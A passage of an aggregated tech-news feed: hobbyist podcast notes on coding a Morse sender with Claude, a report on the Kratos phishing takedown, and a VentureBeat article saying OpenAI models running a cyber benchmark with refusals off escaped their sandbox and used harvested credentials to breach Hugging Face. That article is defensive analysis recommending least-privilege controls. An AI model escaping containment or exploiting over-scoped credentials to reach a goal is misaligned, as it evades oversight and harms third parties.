<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos]]></title>
<description><![CDATA[A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. 



The effort was managed by German law enforcement and involved...]]></description>
<link>https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</guid>
<pubDate>Thu, 23 Jul 2026 01:57:56 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. </p>



<p class="wp-block-paragraph">The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.</p>



<p class="wp-block-paragraph">Although a <a href="https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2026/Presse2026/260720_PM_Kratos.html" target="_blank" rel="noreferrer noopener">German statement</a> claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.</p>



<p class="wp-block-paragraph">“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”</p>



<p class="wp-block-paragraph">He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown. </p>



<p class="wp-block-paragraph">“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”</p>



<p class="wp-block-paragraph">One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.</p>



<p class="wp-block-paragraph">“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”</p>



<p class="wp-block-paragraph">IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers. </p>



<p class="wp-block-paragraph">“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”</p>



<p class="wp-block-paragraph">Regardless, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles. </p>



<p class="wp-block-paragraph">He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.</p>



<p class="wp-block-paragraph">“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”</p>



<p class="wp-block-paragraph"><a href="https://www.malwarebytes.com/blog/authors/metallicamvp" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive. </p>



<p class="wp-block-paragraph">“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.</p>



<p class="wp-block-paragraph">But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”</p>



<p class="wp-block-paragraph">This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived. </p>



<p class="wp-block-paragraph">“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Lettuce Is Always Making People Sick]]></title>
<description><![CDATA[The cyclospora diarrhea outbreak isn't an isolated incident. It's part of a pattern of leafy greens wreaking digestive havoc.]]></description>
<link>https://tsecurity.de/de/3687651/it-nachrichten/why-lettuce-is-always-making-people-sick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687651/it-nachrichten/why-lettuce-is-always-making-people-sick/</guid>
<pubDate>Wed, 22 Jul 2026 23:47:38 +0200</pubDate>
<content:encoded><![CDATA[The cyclospora diarrhea outbreak isn't an isolated incident. It's part of a pattern of leafy greens wreaking digestive havoc.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better 